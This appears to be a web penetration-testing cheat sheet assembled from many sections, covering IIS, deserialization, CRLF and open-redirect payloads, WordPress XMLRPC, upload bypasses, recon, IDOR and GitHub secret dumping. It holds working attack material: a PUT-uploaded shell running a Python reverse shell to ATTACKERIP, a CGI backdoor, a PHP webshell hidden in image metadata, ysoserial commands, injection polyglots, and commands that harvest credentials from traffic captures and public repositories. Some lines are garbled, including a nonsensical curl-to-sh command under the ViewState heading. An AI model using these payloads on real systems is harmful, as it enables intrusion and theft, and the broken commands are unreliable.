    https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC
    
    # WebResource.axd:
    https://github.com/inquisb/miscellaneous/blob/master/ms10-070_check.py
    
    # ShortNames
    https://github.com/irsdl/IIS-ShortName-Scanner
    java -jar iis_shortname_scanner.jar 2 20 http://domain.es
    https://github.com/bitquark/shortscan
    https://github.com/sw33tLie/sns
    
    
    # Padding Oracle Attack:
    # https://github.com/KishanBagaria/padding-oracle-attacker
    npm install --global padding-oracle-attacker
    padding-oracle-attacker decrypt  hex:   [options]
    padding-oracle-attacker decrypt  b64:   [options]
    padding-oracle-attacker encrypt              [options]
    padding-oracle-attacker encrypt  hex:    [options]
    padding-oracle-attacker analyze  [] [options]
    # https://github.com/liquidsec/pyOracle2
    
    # Look for web.config or web.xml
    https://x.x.x.x/.//WEB-INF/web.xml
    
    # ASP - force error paths
    /con/
    /aux/
    con.aspx
    aux.aspx
    
    # HTTPAPI 2.0 404 Error
    Change Host header to correct subdomain
    Add to /etc/hosts
    Scan again including IIS Shortnames
    
    # IIS 7
    IIS Short Name scanner
    HTTP.sys DOS RCE
    
    # ViewState
    # https://github.com/0xacb/viewgen
    curl -gsS https://example.com:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00example.com/../../../%00/n …\<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
    
    # If merge_slashes is OFF path traversal is possible, just append 1 slash more to find
    ///////../../../etc/passwd
    # Analyze Python code
    https://github.com/PyCQA/bandit
    
    # Python Web Server common flaws
    Input injection in filename:
    "; cat /etc/passwd
    

    Quick tricks

    GWT

    # Google Web Toolkit
    # https://github.com/FSecureLABS/GWTMap
    ./gwtmap.py -u http://target.com/olympian/olympian.nocache.js --filter AuthenticationService.login --rpc --probe
    Active DNS resolution

    hashtag
    Alterations and permutations

    hashtag
    Crawling

    hashtag
    DNS records

    hashtag
    DNS wordlists

    hashtag
    Other techniques

    hashtag
    Google Analytics ID

    hashtag
    Subdomain discovery with Burp

    Navigate through target main website with Burp:

    • Without passive scanner

    • Set forms auto submit

    • Scope in advanced, any protocol and one keyword ("tesla")

    • Last step, select all sitemap, Engagement Tools -> Analyze target

    hashtag
    Vulnerable functions

    hashtag
    Tools

    # PHP
    unserialize()
    
    # Python
    pickle/c_pickle/_pickle with load/loads
    PyYAML with load
    jsonpickle with encode or store methods>/tmp/f
    
    # Java
    # Whitebox
    XMLdecoder with external user defined parameters
    XStream with fromXML method (xstream version <= v1.46 is vulnerable to the serialization issue)
    ObjectInputStream with readObject
    Uses of readObject, readObjectNodData, readResolve or readExternal
    ObjectInputStream.readUnshared
    Serializable
    # Blackbox
    AC ED 00 05 in Hex
    rO0 in Base64
    Content-type: application/x-java-serialized-object
    # ysoserial
    java -jar ysoserial.jar CommonsCollections4 'command'
    
    # .Net
    # Whithebox
    TypeNameHandling
    JavaScriptTypeResolver
    # Blackbox
    AAEAAAD/////
    TypeObject
    $type
    # HTTP traffic analysis
    tshark -r capture.pcap -Y "http" -T fields -e http.host -e http.request.uri -e http.request.method
    tshark -r capture.pcap -Y "http.request.method==POST" -T fields -e http.file_data
    
    # DNS queries
    tshark -r capture.pcap -Y "dns.flags.response == 0" -T fields -e dns.qry.name
    
    # SMB file operations
    tshark -r capture.pcap -Y "smb2.filename" -T fields -e smb2.filename
    
    # FTP credentials
    tshark -r capture.pcap -Y "ftp.request.command == USER || ftp.request.command == PASS" -T fields -e ftp.request.arg
    
    # NTLM hashes (for cracking)
    tshark -r capture.pcap -Y "ntlmssp.messagetype == 3" -T fields -e ntlmssp.auth.username -e ntlmssp.auth.domain
    # https://github.com/lgandx/PCredz
    ./Pcredz -f file-to-parse.pcap
    ./Pcredz -d /tmp/pcap-directory-to-parse/
    ./Pcredz -i eth0 -v
    
    # https://github.com/DanMcInerney/net-creds
    python2 net-creds.py -p capture.pcap
    python2 net-creds.py -i eth0
    
    # Extract NTLM hashes with NTLMRawUnHide
    # https://github.com/mlgualtieri/NTLMRawUnHide
    python3 NTLMRawUnHide.py -i capture.pcap
    
    # Wireshark manual extraction
    # Filter: ntlmssp
    # Look for NTLMSSP_AUTH messages
    # Right-click -> Export packet bytes
    # Decrypt TLS with pre-master secret (if you have SSLKEYLOGFILE)
    tshark -r capture.pcap -o "tls.keylog_file:sslkeys.log" -Y "http"
    
    # Wireshark: Edit -> Preferences -> Protocols -> TLS -> (Pre)-Master-Secret log filename
    
    # Identify encrypted protocols without decryption
    tshark -r capture.pcap -Y "tls.handshake.type == 1" -T fields -e tls.handshake.extensions_server_name
    
    # JA3/JA3S fingerprinting for TLS client identification
    # https://github.com/salesforce/ja3
    tshark -r capture.pcap -Y "tls.handshake.type == 1" -T fields -e tls.handshake.ja3
    
    # Detect potential C2 traffic patterns
    tshark -r capture.pcap -z io,stat,60,"COUNT(frame)frame"  # Check for beaconing intervals
    # Extract all files from pcap
    # https://github.com/xplico/xplico
    # https://www.netresec.com/?page=NetworkMiner
    
    # Reconstruct sessions
    tcpflow -r capture.pcap -o output_dir
    
    # Find cleartext passwords
    strings capture.pcap | grep -i "pass\|pwd\|login\|user"
    
    # Carve files from network traffic
    foremost -i capture.pcap -o carved_files
    binwalk -e capture.pcap
    # Stego
    wget http://www.caesum.com/handbook/Stegsolve.jar -O stegsolve.jar
    chmod +x stegsolve.jar
    java -jar stegsolve.jar
    
    # Stegpy
    stegpy -p file.png
    
    # Check png corrupted
    pngcheck -v image.jpeg
    
    # Check what kind of image is
    identify -verbose image.jpeg
    
    # Stegseek
    # https://github.com/RickdeJager/stegseek
    stegseek --seed file.jpg
    stegseek file.jpg rockyou.txt 
    # Add something like 127.0.0.1, localhost, 192.168.1.2, target.com or /admin, /console
    Client-IP:
    Connection:
    Contact:
    Forwarded:
    From:
    Host:
    Origin:
    Referer:
    True-Client-IP:
    X-Client-IP:
    X-Custom-IP-Authorization:
    X-Forward-For:
    X-Forwarded-For:
    X-Forwarded-Host:
    X-Forwarded-Server:
    X-Host:
    X-Original-URL:
    X-Originating-IP:
    X-Real-IP:
    X-Remote-Addr:
    X-Remote-IP:
    X-Rewrite-URL:
    X-Wap-Profile:
    
    # Try to repeat same Host header 2 times
    Host: legit.com
    Stuff: stuff
    Host: evil.com
    
    # Bypass type limit
    Accept: application/json, text/javascript, */*; q=0.01
    Accept: ../../../../../../../../../etc/passwd{{'
    
    # Try to change the HTTP version from 1.1 to HTTP/0.9 and remove the host header
    
    # 401/403 bypasses 
    # Whitelisted IP 127.0.0.1 or localhost
    Client-IP: 127.0.0.1
    Forwarded-For-Ip: 127.0.0.1
    Forwarded-For: 127.0.0.1
    Forwarded-For: localhost
    Forwarded: 127.0.0.1
    Forwarded: localhost
    True-Client-IP: 127.0.0.1
    X-Client-IP: 127.0.0.1
    X-Custom-IP-Authorization: 127.0.0.1
    X-Forward-For: 127.0.0.1
    X-Forward: 127.0.0.1
    X-Forward: localhost
    X-Forwarded-By: 127.0.0.1
    X-Forwarded-By: localhost
    X-Forwarded-For-Original: 127.0.0.1
    X-Forwarded-For-Original: localhost
    X-Forwarded-For: 127.0.0.1
    X-Forwarded-For: localhost
    X-Forwarded-Server: 127.0.0.1
    X-Forwarded-Server: localhost
    X-Forwarded: 127.0.0.1
    X-Forwarded: localhost
    X-Forwared-Host: 127.0.0.1
    X-Forwared-Host: localhost
    X-Host: 127.0.0.1
    X-Host: localhost
    X-HTTP-Host-Override: 127.0.0.1
    X-Originating-IP: 127.0.0.1
    X-Real-IP: 127.0.0.1
    X-Remote-Addr: 127.0.0.1
    X-Remote-Addr: localhost
    X-Remote-IP: 127.0.0.1
    
    # Fake Origin - make GET request to accesible endpoint with:
    X-Original-URL: /admin
    X-Override-URL: /admin
    X-Rewrite-URL: /admin
    Referer: /admin
    # Also try with absoulte url https:/domain.com/admin
    
    # Method Override
    X-HTTP-Method-Override: PUT
    
    # Provide full path GET
    GET https://vulnerable-website.com/ HTTP/1.1
    Host: evil-website.com
    
    # Add line wrapping
    GET /index.php HTTP/1.1
     Host: vulnerable-website.com
    Host: evil-website.com
    
    # Wordlists
    https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/BurpSuite-ParamMiner/lowercase-headers
    https://github.com/danielmiessler/SecLists/tree/bbb4d86ec1e234b5d3cfa0a4ab3e20c9d5006405/Miscellaneous/web/http-request-headers
    The following simplified example uses CRLF to:
    
    1. Add a fake HTTP response header: Content-Length: 0. This causes the web browser to treat this as a terminated response and begin parsing a new response.
    2. Add a fake HTTP response: HTTP/1.1 200 OK. This begins the new response.
    3. Add another fake HTTP response header: Content-Type: text/html. This is needed for the web browser to properly parse the content.
    4. Add yet another fake HTTP response header: Content-Length: 25. This causes the web browser to only parse the next 25 bytes.
    5. Add page content with an XSS: <script>alert(1)</script>. This content has exactly 25 bytes.
    6. Because of the Content-Length header, the web browser ignores the original content that comes from the web server.
    
        http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
    
    - Cloudflare CRLF bypass
    <iframe src=”%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aalert(0)”>
    
    Payload list:
    /%%0a0aSet-Cookie:crlf=injection
    /%0aSet-Cookie:crlf=injection
    /%0d%0aSet-Cookie:crlf=injection
    /%0dSet-Cookie:crlf=injection
    /%23%0aSet-Cookie:crlf=injection
    /%23%0d%0aSet-Cookie:crlf=injection
    /%23%0dSet-Cookie:crlf=injection
    /%25%30%61Set-Cookie:crlf=injection
    /%25%30aSet-Cookie:crlf=injection
    /%250aSet-Cookie:crlf=injection
    /%25250aSet-Cookie:crlf=injection
    /%2e%2e%2f%0d%0aSet-Cookie:crlf=injection
    /%2f%2e%2e%0d%0aSet-Cookie:crlf=injection
    /%2F..%0d%0aSet-Cookie:crlf=injection
    /%3f%0d%0aSet-Cookie:crlf=injection
    /%3f%0dSet-Cookie:crlf=injection
    /%u000aSet-Cookie:crlf=injection
    /%0dSet-Cookie:csrf_token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
    /%0d%0aheader:header
    /%0aheader:header
    /%0dheader:header
    /%23%0dheader:header
    /%3f%0dheader:header
    /%250aheader:header
    /%25250aheader:header
    /%%0a0aheader:header
    /%3f%0dheader:header
    /%23%0dheader:header
    /%25%30aheader:header
    /%25%30%61header:header
    /%u000aheader:header
    # Check IP behing WAF:
    https://blog.nem.ec/2020/01/22/discover-cloudflare-wordpress-ip/
    
    # SQLi in WP and can't crack users hash:
    1. Request password reset.
    2. Go to site.com/wp-login.php?action=rp&key={ACTIVATION_KEY}&login={USERNAME}
    
    # XMLRPC
    # https://github.com/nullfil3/xmlrpc-scan
    # https://github.com/relarizky/wpxploit
    # https://nitesculucian.github.io/2019/07/01/exploiting-the-xmlrpc-php-on-all-wordpress-versions/
    
    # pingback.xml:
    <?xml version="1.0" encoding="iso-8859-1"?>
    <methodCall>
    <methodName>pingback.ping</methodName>
    <params>
     <param>
      <value>
       <string>http://10.0.0.1/hello/world</string>
      </value>
     </param>
     <param>
      <value>
       <string>https://10.0.0.1/hello/world/</string>
      </value>
     </param>
    </params>
    </methodCall>
    
    <methodCall>
    <methodName>pingback.ping</methodName>
    <params><param>
    <value><string>http://<YOUR SERVER >:<port></string></value>
    </param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
    </value></param></params>
    </methodCall>
    
    # List methods:
    <methodCall>
    <methodName>system.listMethods</methodName>
    <params></params>
    </methodCall>
    
    curl -X POST -d @pingback.xml https://exmaple.com/xmlrpc.php
    
    # Evidence xmlrpc:
    curl -d '<?xml version="1.0" encoding="iso-8859-1"?><methodCall><methodName>demo.sayHello</methodName><params/></methodCall>' -k https://example.com/xmlrpc.php
    
    # Enum User:
    for i in {1..50}; do curl -s -L -i https://example.com/wordpress?author=$i | grep -E -o "Location:.*" | awk -F/ '{print $NF}'; done
    site.com/wp-json/wp/v2/users/
    
    # Web ports for nmap
    80,81,300,443,591,593,832,981,1010,1311,1099,2082,2095,2096,2480,3000,3128,3333,4243,4567,4711,4712,4993,5000,5104,5108,5280,5281,5800,6543,7000,7396,7474,8000,8001,8008,8014,8042,8069,8080,8081,8083,8088,8090,8091,8118,8123,8172,8222,8243,8280,8281,8333,8337,8443,8500,8834,8880,8888,8983,9000,9043,9060,9080,9090,9091,9200,9443,9800,9981,10000,11371,12443,16080,18091,18092,20720,55672
    
    # Technology scanner
    # https://github.com/urbanadventurer/WhatWeb
    whatweb htttps://url.com
    
    # Screenshot web
    # https://github.com/maaaaz/webscreenshot
    # https://github.com/sensepost/gowitness
    # https://github.com/michenriksen/aquatone
    
    # Get error with in input
    %E2%A0%80%0A%E2%A0%80
    
    # Retrieve additional info:
    /favicon.ico/..%2f
    /lol.png%23
    /../../../
    ?debug=1
    /server-status
    /files/..%2f..%2f
    
    # Change default header to accept */*
    Accept: application/json, text/javascript, */*; q=0.01
    
    # Sitemap to wordlist (httpie)
    http https://target.com/sitemap.xml | xmllint --format - | grep -e 'loc' | sed -r 's|</?loc>||g' > wordlist_endpoints.txt
    
    # Bypass Rate Limits:
    # Use different params: 
        sign-up, Sign-up, SignUp
    # Null byte on params:
        %00, %0d%0a, %09, %0C, %20, %0
    
    # Bypass upload restrictions:
    # Change extension: .pHp3 or pHp3.jpg
    # Modify mimetype: Content-type: image/jpeg
    # Bypass getimagesize(): exiftool -Comment='"; system($_GET['cmd']); ?>' file.jpg
    # Add gif header: GIF89a;
    # All at the same time.
    
    # ImageTragic (memory leaks in gif preview)
    # https://github.com/neex/gifoeb
    ./gifoeb gen 512x512 dump.gif
    # Upload dump.gif multiple times, check if preview changes.
    # Check docs for exploiting
    
    # If upload from web is allowed or :
    # https://medium.com/@shahjerry33/pixel-that-steals-data-im-invisible-3c938d4c3888
    # https://iplogger.org/invisible/
    # https://iplogger.org/15bZ87
    
    # Check HTTP options:
    # Check if it is possible to upload
    curl -v -k -X OPTIONS https://10.11.1.111/
    # If put enabled, upload:
    curl -v -X PUT -d '' http://10.11.1.111/test/shell.php
    nmap -p 80 192.168.1.124 --script http-put --script-args http-put.url='/test/rootme.php',http-put.file='/root/php-reverse-shell.php'
    curl -v -X PUT -d '' http://VICTIMIP/test/cmd.php && http://VICTIMIP/test/cmd.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22ATTACKERIP%22,443));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27
    curl -i -X PUT -H “Content-Type: text/plain; charset=utf-8” -d “/root/Desktop/meterpreter.php” http://VICTIMIP:8585/uploads/meterpreter.php
    # If PUT is not allowed, try to override:
    X-HTTP-Method-Override: PUT
    X-Method-Override: PUT
    
    # Retrieve endpoints
    # LinkFinder
    # https://github.com/GerbenJavado/LinkFinder
    python linkfinder.py -i https://example.com -d
    python linkfinder.py -i burpfile -b
    
    # Retreive hidden parameters
    # Tools
    # https://github.com/s0md3v/Arjun
    python3 arjun.py -u https://url.com --get 
    python3 arjun.py -u https://url.com --post
    # https://github.com/maK-/parameth
    python parameth.py -u https://example.com/test.php
    # https://github.com/devanshbatham/ParamSpider
    python3 paramspider.py --domain example.com
    # https://github.com/s0md3v/Parth
    python3 parth.py -t example.com
    
    # .DS_Store files?
    # https://github.com/gehaxelt/Python-dsstore
    python main.py samples/.DS_Store.ctf
    
    # Polyglot RCE payload
    1;sleep${IFS}9;#${IFS}’;sleep${IFS}9;#${IFS}”;sleep${IFS}9;#${IFS}
    
    # Nmap web scan
    nmap --script "http-*" example.com -p 443
    
    # SQLi + XSS + SSTI
    '"><svg/onload=prompt(5);>{{7*7}}
    ' ==> for Sql injection 
    "><svg/onload=prompt(5);> ==> for XSS 
    {{7*7}} ==> for SSTI/CSTI
    
    # Try to connect with netcat to port 80
    nc -v host 80
    
    # Understand URL params with unfurl
    https://dfir.blog/unfurl/
    # https://github.com/OWASP/Amass
    # https://github.com/OWASP/Amass/blob/master/examples/config.ini
    amass enum -passive -d domain.com
    
    # https://github.com/projectdiscovery/subfinder
    # https://github.com/projectdiscovery/subfinder#post-installation-instructions
    subfinder -d domain.com -all -silent
    
    # https://github.com/tomnomnom/assetfinder
    assetfinder example.com
    
    # https://github.com/tomnomnom/waybackurls
    # https://github.com/tomnomnom/unfurl
    echo domain.com | waybackurls | unfurl -u domains
    
    # https://github.com/lc/gau
    # https://github.com/tomnomnom/unfurl
    gau --subs example.com | unfurl -u domains
    
    ## Cert Transparency
    # https://certificate.transparency.dev/
    # https://crt.sh/
    # https://github.com/glebarez/cero
    cero example.com
    # https://github.com/UnaPibaGeek/ctfr
    python3 ctfr.py -d domain.com
    
    # Active crtsh monitoring
    #https://github.com/g0ldencybersec/gungnir
    gungnir -r domains.txt
    
    # https://github.com/gwen001/github-subdomains
    github-subdomains -d example.com -t tokens.txt -o output.txt
    
    # https://github.com/christophetd/censys-subdomain-finder
    python3 censys-subdomain-finder.py example.com
    
    # https://github.com/SmoZy92/Shodomain
    python shodomain.py <SHODAN-API-KEY> example.com
    
    # https://github.com/Cgboal/SonarSearch
    crobat -s example.com
    # Generate custom resolvers list, always
    # https://github.com/vortexau/dnsvalidator
    dnsvalidator -tL https://public-dns.info/nameservers.txt -threads 200
    
    # https://github.com/d3mondev/puredns
    puredns resolve subdomains.txt -r ~/Tools/resolvers.txt
    
    ## BF
    # https://github.com/d3mondev/puredns
    puredns bruteforce ~/Tools/subdomains.txt united.com -r ~/Tools/resolvers.txt
    
    # https://github.com/projectdiscovery/shuffledns
    shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
    #https://github.com/Josue87/gotator
    gotator -sub subdomains/subdomains.txt -perm permutations_list.txt -depth 1 -numbers 10 -mindup -adv -md
    # 1st resolve subdomains on valid websites
    # https://github.com/projectdiscovery/httpx
    cat subdomains.txt | httpx -follow-host-redirects -random-agent -status-code -silent -retries 2 -title -web-server -tech-detect -location -o webs_info.txt
    # Clean output
    cat webs_info.txt | cut -d ' ' -f1 | grep ".domain.com" | sort -u > websites.txt
    # Crawl them
    # https://github.com/jaeles-project/gospider
    gospider -S websites.txt --js -t 20 -d 2 --sitemap --robots -w -r > urls.txt
    # Clean output
    # https://github.com/tomnomnom/unfurl
    cat urls.txt | sed '/^.\{2048\}./d' | grep -Eo 'https?://[^ ]+' | sed 's/]$//' | unfurl -u domains | grep ".domain.com"
    # https://github.com/projectdiscovery/dnsx
    dnsx -retry 3 -a -aaaa -cname -ns -ptr -mx -soa -resp -silent -l subdomains.txt
    # https://gist.githubusercontent.com/six2dez/a307a04a222fab5a57466c51e1569acf/raw
    # https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt
    # https://gist.github.com/jhaddix/f64c97d0863a78454e44c2f7119c2a6a
    # https://github.com/Josue87/AnalyticsRelationships
    cat subdomains.txt | analyticsrelationships
    # Java
    # Ysoserial: https://github.com/frohoff/ysoserial
    java -jar ysoserial.jar CommonsCollections4 'command'
    # Java Deserialization Scanner: https://github.com/federicodotta/Java-Deserialization-Scanner
    # SerialKiller: https://github.com/ikkisoft/SerialKiller
    # Serianalyzer: https://github.com/mbechler/serianalyzer
    # Java Unmarshaller Security: https://github.com/mbechler/marshalsec
    # Java Serial Killer: https://github.com/NetSPI/JavaSerialKiller
    # Android Java Deserialization Vulnerability Tester: https://github.com/modzero/modjoda
    # Java https://github.com/phith0n/zkar
    
    # .NET
    # Ysoserial.net: https://github.com/pwntester/ysoserial.net
    ysoserial.exe -g ObjectDataProvider -f Json.Net -c “command-here” -o base64
    
    # Burp-Plugins
    # Java: https://github.com/DirectDefense/SuperSerial
    # Java: https://github.com/DirectDefense/SuperSerial-Active
    # Burp-ysoserial: https://github.com/summitt/burp-ysoserial
    #!/bin/sh
    echo;$_ `${QUERY_STRING/%20/ }`
    www.somewebsite.com/cgi-bin/a?ls%20/var
    # https://github.com/antonioCoco/SharPyShell

    IDOR

    hashtag
    Basics

    Check for valuable words:
    {regex + perm} id
    {regex + perm} user
    {regex + perm} account
    {regex + perm} number
    {regex + perm} order
    {regex + perm} no
    {regex + perm} doc
    {regex + perm} key
    {regex + perm} email
    {regex + perm} group
    {regex + perm} profile
    {regex + perm} edit

    hashtag
    Bypasses

    • Add parameters onto the endpoints for example, if there was

    • HTTP Parameter pollution

    • Add .json to the endpoint, if it is built in Ruby!

    • Test on outdated API Versions

    Wrap the ID with an array.

    Wrap the ID with a JSON object:

    JSON Parameter Pollution:

    OneLogin - SAML Login

    # https://developers.onelogin.com/saml
    # https://www.securing.pl/en/saml-what-can-go-wrong-security-check/
    # https://github.com/fadyosman/SAMLExtractor
    ./samle.py -u https://carbon-prototype.uberinternal.com/
    ./samle.py -r "https://domain.onelogin.com/trust/saml2/http-post/sso/571434?SAMLRequest=nVNNb9swDP0rhu7%2BkO0iqRAH8FIMC9BtRuLtOjAS2wqwJU%2Bi1%2FTfT3aSIoc1h10siXzie3yiVx76bhD1SC9mh79H9BQd%2B854MScqNjojLHjthYEevSAp9vXXR5EnmRicJSttx6LmvPukjdLm%2Bfa1wwnkxZe2beLm%2B75l0U90XltTsQBg0db7EbfGExgKoYwvY85jXrZZJgouijxAHiqGPC8XRblEDF9eZvcqX4DEXC3v70CpgkW19%2BgoFN5Y48ce3R7dHy3xx%2B6xYi9EgxdpKsEdrInnbuhtwGQ8oNOG0BnoEml7UZZFarWC4FI6%2BfJLnsqx9Wo6ilmvuzLutgFwUcXWFw0wDIk12NlnbSbKmSbtkUABQXq34GVRrtIrthP1IL6F8tuHxnZavkV119nXjUMgrBi5EVn02boe6GNBPOFzRKv4aYYK7EF3tVIOvWfphec8HajmWQl%2BEh4p2th%2BAKf99HR4BEkXS65Rmy50vMOn%2FzHoJkwKOZUO4SYsr9apaRBRBpWtA%2BMH6%2Bhs2r%2F0rE%2B5D3p7z17%2FHOu%2F&RelayState=%2F"

    Open redirects

    hashtag
    Tools

    hashtag
    Payloads

    Session fixation

    Session fixation attacks force a user to use a session ID known to the attacker, enabling account takeover after the victim authenticates.

    hashtag
    How It Works

    1. Attacker obtains a valid session ID from the target site

    Email attacks

    VHosts

    Virtual Host (vhost) enumeration discovers additional websites hosted on the same IP address but responding to different hostnames.

    hashtag
    Why VHost Enumeration Matters

    • Web servers can host multiple sites on one IP using the Host header

    GitHub

    hashtag
    Tools

    Adobe AEM

    hashtag
    Tools

    hashtag
    Paths

    Others

    Cloud

    Google Cloud Platform

  • Cloud Info Gathering

  • Docker && Kubernetes

  • CDNs

  • General
    AWS
    Azure
    https://research.securitum.com/the-curious-case-of-copy-paste/research.securitum.comchevron-right
    GET /api_v1/messages --> 401
    vs 
    GET /api_v1/messages?user_id=victim_uuid --> 200
    GET /api_v1/messages?user_id=VICTIM_ID --> 401 Unauthorized
    GET /api_v1/messages?user_id=ATTACKER_ID&user_id=VICTIM_ID --> 200 OK
    
    GET /api_v1/messages?user_id=YOUR_USER_ID[]&user_id=ANOTHER_USERS_ID[]
    #https://github.com/devanshbatham/OpenRedireX
    python3 openredirex.py -u "https://website.com/?url=FUZZ" -p payloads.txt --keyword FUZZ
    
    #https://github.com/0xNanda/Oralyzer
    python3 oralyzer.py -u https://website.com/redir?url=
    
    # Payload generator
    # https://gist.github.com/zPrototype/b211ae91e2b082420c350c28b6674170
    # Laravel RCE
    https://github.com/zhzyker/CVE-2021-3129
    
    # Oracle WebLogic
    https://github.com/0nise/weblogic-framework
    https://github.com/0xn0ne/weblogicScanner
    
    # Jolokia
    https://github.com/laluka/jolokia-exploitation-toolkit
    
    # Salesforce
    https://github.com/reconstation/sret
    https://github.com/cosad3s/salsa
    https://infosecwriteups.com/soql-injection-b2c2c624cbbb
    
    # Spring boot
    https://tutorialboy24.blogspot.com/2022/02/introduction-to-spring-boot-related.html
    https://medium.com/defmax/analyzing-java-heap-dumps-via-oql-queries-fef8a8416017
    
    # SaltStack
    https://skylightcyber.com/2023/02/09/a-salt-attacking-saltstack/
    
    # CMS
    https://github.com/Tuhinshubhra/CMSeeK
    https://github.com/dionach/CMSmap
    
    # Argo workflows
    https://www.evasec.io/blog/argo-workflows-uncovering-the-hidden-misconfigurations
    
    # FortiGate SSL-VPN
    https://github.com/anasbousselham/fortiscan

    Crawl/Fuzz

    CSP

    SSTI

    SSRF

    [email protected]

    john.doe@[127.0.0.1]

    Parameter Pollution

    victim&[email protected]

    (Email) Header Injection

    "%0d%0aContent-Length:%200%0d%0a%0d%0a"@example.com

    "[email protected]>\r\nRCPT TO:<victim+"@test.com

    Wildcard abuse

    %@example.com

    Attack

    Payload

    XSS

    test+(alert(0))@example.com

    test@example(alert(0)).com

    "alert(0)"@example.com

    <script src=//xsshere?”@email.com

    Template injection

    "<%= 7 * 7 %>"@example.com

    test+(${{7*7}})@example.com

    SQLi

    "' OR 1=1 -- '"@example.com

    "mail'); SELECT version();--"@example.com

    a'-IF(LENGTH(database())=9,SLEEP(7),0)or'1'='1\"@a.com

    Subdomains may not have DNS records (internal/dev sites)

  • Different vhosts may have different security postures

  • Can reveal admin panels, staging environments, APIs

  • hashtag
    Enumeration Techniques

    hashtag
    Using ffuf (Recommended)

    hashtag
    Using gobuster

    hashtag
    Using wfuzz

    hashtag
    Specialized Tools

    hashtag
    Finding VHosts Without DNS

    hashtag
    Adding Discovered VHosts

    hashtag
    Wordlists for VHost Fuzzing

    hashtag
    Related Topics

    • Subdomain Enumeration

    • Crawl/Fuzz

    • SSRF - VHosts can be internal SSRF targets

    /user_data/2341 --> 401 Unauthorized
    /user_data/2341.json --> 200 OK
    /v3/users_data/1234 --> 403 Forbidden
    /v1/users_data/1234 --> 200 OK
    {“id”:111} --> 401 Unauthriozied
    {“id”:[111]} --> 200 OK
    {“id”:111} --> 401 Unauthriozied
    
    {“id”:{“id”:111}} --> 200 OK
    POST /api/get_profile
    Content-Type: application/json
    {“user_id”:<legit_id>,”user_id”:<victim’s_id>}
    # Check for
    =aHR0
    =http
    # https://github.com/m0chan/BugBounty/blob/master/OpenRedirectFuzzing.txt
    
    https://web.com/r/?url=https://phising-malicious.com
    https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect
    
    # Check redirects
    https://url.com/redirect/?url=http://twitter.com/
    http://[email protected]/
    http://www.yoursite.com/http://www.theirsite.com/
    http://www.yoursite.com/folder/www.folder.com
    /http://twitter.com/
    /\\twitter.com
    /\/twitter.com
    ?c=.twitter.com/
    /?redir=google。com
    //google%E3%80%82com
    //google%00.com
    /%09/google.com
    /%5cgoogle.com
    //www.google.com/%2f%2e%2e
    //www.google.com/%2e%2e
    //google.com/
    //google.com/%2f..
    //\google.com
    /\victim.com:80%40google.com
    https://target.com///google.com//
    # Remember url enconde the payloads!
    
    # Search in Burp:
    “=http” or “=aHR0”(base64 encode http)
    
    # Fuzzing openredirect
    
    # Intruder url open redirect
    /{payload}
    ?next={payload}
    ?url={payload}
    ?target={payload}
    ?rurl={payload}
    ?dest={payload}
    ?destination={payload}
    ?redir={payload}
    ?redirect_uri={payload}
    ?redirect_url={payload}
    ?redirect={payload}
    /redirect/{payload}
    /cgi-bin/redirect.cgi?{payload}
    /out/{payload}
    /out?{payload}
    ?view={payload}
    /login?to={payload}
    ?image_url={payload}
    ?go={payload}
    ?return={payload}
    ?returnTo={payload}
    ?return_to={payload}
    ?checkout_url={payload}
    ?continue={payload}
    ?return_path={payload}
    
    # Valid URLs:
    http(s)://evil.com
    http(s):\\evil.com
    //evil.com
    ///evil.com
    /\evil.com
    \/evil.com
    /\/evil.com
    \\evil.com
    \/\evil.com
    / /evil.com
    \ \evil.com
    
    # Oneliner with gf
    echo "domain" | waybackurls | httpx -silent -timeout 2 -threads 100 | gf redirect | anew
    # Dump GH repo
    # githack
      https://github.com/OwenChia/githack
    # Goop - Another dumper
      https://github.com/deletescape/goop
    # GitDumper 
      https://github.com/internetwache/GitTools
      If we have access to .git folder: 
      ./gitdumper.sh http://example.com/.git/ /home/user/dump/
      ./extractor.sh /home/user/dump/ /home/user/dump_extracted 
    # Extract secrets from the repo
    # https://github.com/zricethezav/gitleaks#
      gitleaks detect /tmp/test -v
    # https://github.com/trufflesecurity/trufflehog
      trufflehog filesystem --directory=/tmp/test  
      
      
      
    # Manual way to extract blob's content:
      git cat-file --batch-check --batch-all-objects | grep blob
      git cat-file -p HASH
    # GitGot 
      https://github.com/BishopFox/GitGot
      ./gitgot.py --gist -q CompanyName./gitgot.py -q '"example.com"'./gitgot.py -q "org:github cats"
    # GitRob https://github.com/michenriksen/gitrob
      gitrob website.com
    # GitHound https://github.com/tillson/git-hound 
      echo "domain.com" | githound --dig --many-results --languages common-languages.txt --threads 100
    # GitGrabber https://github.com/hisxo/gitGraber
    # SSH GIT https://shhgit.darkport.co.uk/
    # GithubSearch
      https://github.com/gwen001/github-search
    # Trufflehog
    trufflehog https://github.com/Plazmaz/leaky-repo
    trufflehog --regex --entropy=False https://github.com/Plazmaz/leaky-repo
    # If you have public .git
    https://github.com/HightechSec/git-scanner
    # GitMiner
    # wordpress configuration files with passwords
      python3 gitminer-v2.0.py -q 'filename:wp-config extension:php FTP\_HOST in:file ' -m wordpress -c pAAAhPOma9jEsXyLWZ-16RTTsGI8wDawbNs4 -o result.txt
    # brasilian government files containing passwords
      python3 gitminer-v2.0.py --query 'extension:php "root" in:file AND "gov.br" in:file' -m senhas -c pAAAhPOma9jEsXyLWZ-16RTTsGI8wDawbNs4
    # shadow files on the etc paste
